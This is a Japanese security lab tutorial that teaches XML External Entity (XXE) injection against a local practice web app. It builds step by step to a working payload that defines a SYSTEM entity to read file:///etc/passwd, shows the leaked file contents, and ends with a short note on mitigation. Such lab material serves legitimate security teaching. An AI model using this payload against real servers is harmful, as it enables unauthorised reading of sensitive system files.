はじめに
この実験では、XML 外部エンティティ (XXE) インジェクションについて学びます。これは、攻撃者がアプリケーションによる XML データの処理に干渉することを可能にする Web セキュリティ上の脆弱性です。
XXE は、根本的にはパーサーの挙動に起因する問題です。アプリケーションはデータを解析しているつもりでも、XML パーサーはそのデータ形式に埋め込まれた追加の命令も処理してしまいます。
Web アプリケーションが外部エンティティの解決を適切に無効化せずに XML 入力を解析すると、攻撃者はサーバー上のローカルファイルを指すカスタムエンティティを定義できます。これらの悪意のあるエンティティを XML ペイロードに注入することで、攻撃者はサーバーに機密ファイル(/etc/passwd など)を読み取らせ、その内容を HTTP レスポンスとして返させることができます。この実験では、セキュリティテスターの役割を担い、XML エンドポイントの特定、悪意のあるペイロードの作成、そしてシステムファイルの抽出を成功させます。
XML データ処理の特定
このステップでは、本実験用にセットアップされたローカルの Web アプリケーションと対話します。このアプリケーションは 127.0.0.1 のポート 5000 で実行されており、XML データを受け付ける /process エンドポイントを持っています。
XML (eXtensible Markup Language) は、クライアントとサーバー間でデータを構造化し転送するために広く使われている形式です。XXE 脆弱性を悪用する前に、まずはアプリケーションが実際に XML 入力を処理し、解析されたデータをこちらに反映していることを確認する必要があります。
XXE は XML 解析が実際に行われている場合にのみ発生するため、この最初の確認が重要です。多くのエンドポイントはテキストを受け付けますが、すべてがボディを XML として扱うわけではありません。
curl コマンドラインツールを使用して、サーバーに HTTP POST リクエストを送信します。POST リクエストはアプリケーションにデータを送信し、Content-Type: application/xml ヘッダーはサーバーに対して、そのデータをプレーンテキストや JSON ではなく XML として解釈するように指示します。
ターミナルで以下のコマンドを実行し、基本的な XML ペイロードを送信してください。
curl -X POST -H "Content-Type: application/xml" -d '<root><name>LabEx User</name></root>' http://127.0.0.1:5000/process
以下のような出力が表示されるはずです。
Hello, LabEx User!
この出力から、2 つの重要なことが確認できます。第一に、アプリケーションが XML データを正常に解析したこと。第二に、アプリケーションが <name> タグ内のテキストを抽出し、レスポンスとしてこちらに反映したことです。この反映(リフレクション)は、後ほど注入したエンティティの結果を確認するために不可欠です。
XML リクエストのインターセプト
実際のペネトレーションテストでは、セキュリティ研究者は Burp Suite のようなプロキシツールを使用して Web リクエストをインターセプトし、変更します。今回はすべてターミナル上で作業を行うため、XML ペイロードをローカルファイルに保存することでこのプロセスをシミュレートします。これにより、コマンドラインでの複雑なエスケープ処理に悩まされることなく、複雑な複数行の XML 構造を編集・注入しやすくなります。
ペイロードをファイルに移動させることは、単なる利便性のためだけではありません。構文自体が攻撃の成否に影響する場合、構造化された入力を推論し修正しやすくなるため、非常に重要です。
現在のディレクトリ (~/project) に payload.xml という名前のファイルを作成しましょう。nano テキストエディタを使用してこのファイルを作成・編集します。nano を使ったことがない場合でも、これはターミナルベースのシンプルなエディタであり、今回のような小さなファイルの編集には最適です。
以下のコマンドを実行してエディタを開きます。
nano payload.xml
以下の標準的な XML 構造を入力または貼り付けてください。
<?xml version="1.0" encoding="UTF-8"?>
<root>
<name>Security Tester</name>
</root>
ファイルを保存してエディタを終了します(nano では Ctrl+O を押してから Enter で保存、Ctrl+X で終了します)。
次に、curl を使用してこのファイルをサーバーに送信します。@ 記号は、curl に対して文字列をそのまま扱うのではなく、指定されたファイルからデータを読み込むように指示します。
以下のコマンドを実行してください。
curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process
以下の出力が表示されるはずです。
Hello, Security Tester!
ペイロードをファイルに移動させたことで、次のステップで XXE インジェクションを作成するためのクリーンな作業環境が整いました。
外部エンティティの定義 (DOCTYPE)
XML ファイルが動作するようになったので、その構造を操作してみましょう。XML では、Document Type Definition (DOCTYPE) 内で「エンティティ」と呼ばれるカスタム変数を定義できます。DOCTYPE は XML ドキュメントの先頭付近にある追加セクションで、パーサーに対するルールや再利用可能な値を記述します。
エンティティはショートカットのような役割を果たします。test という名前のエンティティに Injected Data という値を定義すると、XML ドキュメント内で &test; と書くたびに、XML パーサーはそれを Injected Data に置き換えます。パーサーに脆弱性がある場合、セキュリティチェックなしでこれらのカスタムエンティティを処理してしまいます。
この無害な例は、ファイルベースの外部エンティティに進む前に、エンティティ展開が有効であることを証明するために重要です。
payload.xml ファイルを修正して、DOCTYPE 宣言とカスタムエンティティを含めましょう。
再度ファイルを開きます。
nano payload.xml
ファイルの内容を以下のコードに更新してください。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY test "Injected Entity Data">
]>
<root>
<name>&test;</name>
</root>
ファイルを保存して nano を終了します (Ctrl+O, Enter, Ctrl+X)。
このペイロードでは、test という名前のエンティティを定義しました。<name> タグ内では、&test; を使用してこのエンティティを参照しています。この更新されたペイロードをサーバーに送信し、カスタムエンティティが解決されるか確認しましょう。
再度 curl コマンドを実行します。
curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process
以下の出力が表示されるはずです。
Hello, Injected Entity Data!
サーバーが &test; をカスタム文字列に正常に置き換えました。これは、XML パーサーが積極的にエンティティを解決していることを証明しており、XML 外部エンティティ (XXE) インジェクションに対して脆弱である可能性が非常に高いことを意味します。
ローカルファイルの抽出 (/etc/passwd)
前のステップでは内部エンティティを定義しました。XXE の真の危険性は、外部エンティティを定義したときに発生します。SYSTEM キーワードを使用することで、XML パーサーに対して、URL やローカルファイルパスなどの外部ソースからエンティティの値を取得するように指示できます。
Web サーバーの XML パーサーの設定が不適切な場合、指定したファイルの内容を読み取り、それを XML ドキュメントに埋め込みます。アプリケーションは <name> タグをこちらに反映するため、HTTP レスポンス内でファイルの内容を確認できます。これが、攻撃者にとってリフレクション(反映)が非常に価値のある理由です。サーバーサイドの不可視なファイル読み取りを、ブラウザやターミナル上の可視的な出力へと変換するからです。
ユーザーアカウント情報を含む標準的な Linux ファイルである /etc/passwd の読み取りを試みます。このファイルはシステム上のすべてのユーザーが読み取り可能であるため、ファイル読み取りの脆弱性をテストする際の一般的なターゲットとなります。
最後にペイロードファイルを開きます。
nano payload.xml
エンティティ定義を修正し、SYSTEM キーワードを使用して file:// プロトコルでローカルファイルを指定します。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>&xxe;</name>
</root>
ファイルを保存して nano を終了します (Ctrl+O, Enter, Ctrl+X)。
それでは、悪意のあるペイロードをサーバーに送信します。
curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://127.0.0.1:5000/process
攻撃が成功すれば、サーバーは /etc/passwd ファイルを読み取り、その内容をレスポンスとして返します。以下のようなテキストの塊が表示されるはずです。
Hello, root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
labex:x:1000:1000::/home/labex:/bin/zsh
!
おめでとうございます!XML 外部エンティティの脆弱性を悪用して、Web サーバーから機密性の高いローカルファイルを抽出することに成功しました。
まとめ
この実験では、XML 外部エンティティ (XXE) 脆弱性の特定方法と悪用方法を学びました。まず、Web アプリケーションが XML データを処理し、反映していることを確認しました。次に、DOCTYPE 宣言を使用してカスタム XML エンティティを定義する方法を学びました。最後に、SYSTEM キーワードを使用して外部エンティティを作成し、サーバーの XML パーサーにローカルの /etc/passwd ファイルを読み取らせてその内容を返させることで、攻撃をエスカレートさせました。
XXE 脆弱性を防ぐためには、開発者は XML パーサーの設定において、外部エンティティおよび DTD (Document Type Definition) の解決を完全に無効化するようにしなければなりません。



